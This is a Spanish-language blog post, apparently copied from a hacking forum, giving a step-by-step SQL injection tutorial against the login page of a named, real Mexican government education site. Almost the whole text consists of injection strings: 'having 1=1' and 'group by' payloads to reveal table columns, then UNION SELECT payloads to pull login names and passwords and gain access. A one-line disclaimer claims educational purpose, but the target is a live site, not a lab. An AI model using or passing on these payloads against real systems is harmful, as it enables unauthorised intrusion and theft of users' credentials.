Banner 1

Inyección SQL a Login ASP




Bien comencemos, para este tutorial utizare la página de http://informaticaeducacion.nl.gob.mx/saci/login.asp

Este tutorial es con fines educativos y no me hago responsable del uso que le den.

En el en campo "Clave de Acceso" y "Password" del login escribimos:


Código:' having 1= 1--




Al hacerlo nos dara el seguiente error:





Sabemos que es vulnerable y nos acaba de dar el nombre de la tabla y la columna "Usuario.Clave, teniendo esto regresamos a nuestro login y escribimos:


Código:' group by Usuario.Clave having 1 = 1--


Hacemos la inyección y el siguiente error sera así:





Nos acaba de dar el nombre de la tabla y la columna "Usuario.Nombre", teniendo esto regresamos a nuestro login y escribimos:


Código:' group by Usuario.Clave, Usuario.Nombre having 1=1--


Hacemos la inyección y el siguiente error sera así:





Nos acaba de dar el nombre de la tabla y la columna "Usuario.Clave_de_Acceso", teniendo esto regresamos a nuestro login y escribimos:


Código:' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso having 1=1--


Hacemos la inyección y el siguiente error sera así:





Nos acaba de dar el nombre de la tabla y la columna "Usuario.Password", teniendo esto regresamos a nuestro login y escribimos:


Código:' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password having 1=1--


Hacemos la inyección y el siguiente error sera así:





Nos acaba de dar el nombre de la tabla y la columna "Usuario.Tipo_de_Usuario", teniendo esto regresamos a nuestro login y escribimos:


Código:' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario having 1=1--


Hacemos la inyección y el siguiente error sera así:



Nos acaba de dar el nombre de la tabla y la columna "Usuario.Tunto_de_Captura", teniendo esto regresamos a nuestro login y escribimos:


Código:' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario, Usuario.Punto_de_Captura having 1=1--


Hacemos la inyección y el siguiente error sera así:





Nos acaba de dar el nombre de la tabla y la columna "Usuario.ESTATUS", teniendo esto regresamos a nuestro login y escribimos:


Código:' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario, Usuario.Punto_de_Captura, Usuario.ESTATUS having 1=1--


Como podemos observar al hacer esto nos dira "clave de acceso y/o password incorrectos" esto quiere decir que hemos terminado de buscar las tablas y columnas.





Nuestra siguiente inyección sera de esta forma:


Código:' union select 1,1,1,1,1,1,min(Clave_de_Acceso) from Usuario where Clave_de_Acceso > 'a'--


Esta parte tenemos 6 unos y min(LOGIN) es la posición al hacer la inyección les arroja los datos.

La posión de los unos puede varia un ejemplo podría ser:


Código:' union select 1,1,1,1,min(Clave_de_Acceso)1,1 from Usuario where Clave_de_Acceso > 'a'--




Curiosamente al hacer la inyección de esta forma tenemos el acceso:


Código:' union select 1,1,1,1,1,1,min(Password) from Usuario where Clave_de_Acceso > 'ADMIN'--




La inyección para que les arroje la password es:


Código:' union select 1,1,1,1,1,1,min(Password) from Usuario where Password > 'ADMIN'--


Fuente: http://masters-hackers.info/showthread.php?t=27844

No hay comentarios:

Powered by Bad Robot
Helped by Blackubay